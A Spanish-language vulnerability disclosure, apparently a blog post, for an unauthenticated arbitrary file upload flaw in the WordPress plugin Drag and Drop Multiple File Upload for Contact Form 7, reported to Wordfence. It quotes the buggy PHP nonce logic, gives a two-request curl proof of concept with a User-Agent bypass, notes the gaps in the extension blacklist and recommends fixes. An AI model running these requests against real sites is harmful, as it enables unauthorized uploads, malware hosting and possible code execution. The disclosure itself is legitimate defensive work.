En esta entrada comparto un hallazgo reportado al programa Wordfence Intelligence bajo el ID #447097. Afecta al plugin Drag and Drop Multiple File Upload for Contact Form 7 en versiones iguales o menores a la 1.3.9.6. Como siempre, todos los dominios reales y datos sensibles han sido anonimizados.
Esta vulnerabilidad es especialmente crítica porque no requiere ningún tipo de autenticación: cualquier visitante anónimo puede explotar el plugin en dos simples peticiones HTTP para subir archivos arbitrarios al servidor.

¿Cómo funciona el ataque?
El plugin expone dos handlers AJAX registrados bajo wp_ajax_nopriv_, lo que significa que son accesibles sin estar autenticado. Al encadenarlos, un atacante obtiene acceso de escritura al sistema de archivos del servidor en exactamente dos peticiones.
Paso 1 — Obtener un nonce válido sin autenticarse
El handler dnd_wpcf7_nonce_check() contiene un fallo lógico crítico: cuando el nonce enviado es inválido, en lugar de rechazar la petición, la función genera y devuelve un nonce nuevo y válido al solicitante. Esencialmente, el código que debería bloquear al atacante termina entregándole exactamente lo que necesita para continuar.
La única «protección» adicional es un bloqueo por User-Agent que busca la cadena curl — trivialmente sorteado usando cualquier User-Agent que simule un navegador real.
Paso 2 — Subir el archivo usando el nonce obtenido
El handler dnd_upload_cf7_upload() solo verifica que el nonce sea válido antes de procesar el archivo. No existe ninguna llamada a is_user_logged_in() ni a current_user_can(). Una vez que el atacante tiene el nonce del Paso 1, puede subir cualquier archivo al servidor con total libertad.
El Fallo en el Código

El problema está en la condición invertida de dnd_wpcf7_nonce_check(). Lo que el desarrollador probablemente intentó hacer fue: «si el nonce es inválido, rechaza la petición y genera uno nuevo para el formulario». Pero el resultado fue lo opuesto: cuando el nonce falla, la función devuelve el nuevo nonce en la respuesta JSON, accesible por cualquiera.
// inc/dnd-upload-cf7.php — El bug: condición invertida
function dnd_wpcf7_nonce_check() {
// Protección trivial: solo bloquea si el UA contiene "curl"
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// ⚠ BUG: nonce inválido → devuelve un nonce válido al atacante
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
// El handler de subida — la única defensa es el nonce (ya comprometido)
function dnd_upload_cf7_upload() {
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', 'security', false ) ) {
wp_send_json_error('The security nonce is invalid or expired.');
}
// Sin is_user_logged_in() — sin current_user_can() — sin ninguna verificación de auth
// El archivo se escribe directamente: move_uploaded_file( $tmp_name, $upload_path )
}Prueba de Concepto (PoC)
El siguiente flujo de dos peticiones demuestra la vulnerabilidad. No se necesitan cookies, tokens de sesión ni credenciales de ningún tipo.
Petición 1 — Obtener el nonce sin autenticarse
curl -s -X POST "https://[TARGET]/wp-admin/admin-ajax.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -H "Content-Type: application/x-www-form-urlencoded" -d "action=_wpcf7_check_nonce&_wpnonce=INVALID"
# Respuesta del servidor:
# {"success":true,"data":"8eeed19624"}Petición 2 — Subir un archivo usando el nonce obtenido
curl -s -X POST "https://[TARGET]/wp-admin/admin-ajax.php" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -F "action=dnd_codedropz_upload" -F "security=8eeed19624" -F "form_id=1" -F "upload_name=file-upload-field" -F "[email protected];type=image/jpeg"
# Respuesta del servidor:
# {"success":true,"data":{"path":"wpcf7-files","file":"poc.jpg"}}El archivo subido queda inmediatamente accesible públicamente via HTTP en la ruta /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{filename}.
Impacto

La severidad de esta vulnerabilidad es Crítica. Los escenarios de ataque posibles incluyen:
- Distribución de malware: el servidor puede ser utilizado para alojar y servir archivos maliciosos (.doc, .pdf, .xls con macros embebidas) desde un dominio legítimo, habilitando campañas de phishing.
- Agotamiento de disco: un atacante puede automatizar subidas masivas de archivos para llenar el almacenamiento del servidor y derribar el sitio.
- RCE potencial en Nginx: el archivo
.htaccessque bloquea la ejecución de PHP solo funciona en servidores Apache. En Nginx este archivo es ignorado completamente. Si un formulario CF7 está configurado confiletypes:*y la blacklist del admin no incluye.php, un archivo PHP puede ejecutarse directamente desde su URL pública.
Blacklist Incompleta
La blacklist codificada en la línea 927 del plugin bloquea: phar, svg, php5, php7, php8. Sin embargo, no están bloqueadas: .php, .php3, .php4, .phtml — extensiones que son ejecutadas como PHP en la mayoría de servidores, especialmente en Nginx donde el .htaccess no aplica.
Conclusión
Este es un caso clásico de broken access control combinado con un logic flaw en la implementación de seguridad. El desarrollador creó un mecanismo de nonce pensando que protegía el endpoint de upload, pero la condición invertida en la verificación convirtió ese mecanismo en un dispensador gratuito de nonces válidos para cualquier atacante anónimo.
La corrección debe incluir: eliminar el bloque que genera nuevos nonces ante verificaciones fallidas, agregar una llamada a is_user_logged_in() en el handler de upload, y ampliar la blacklist de extensiones a incluir .php y variantes.
El reporte fue enviado a través del programa de Wordfence Intelligence y el equipo del plugin fue notificado.
Reporte #447097 — Wordfence Intelligence Vulnerability Submission | Programa público de Bug Bounty

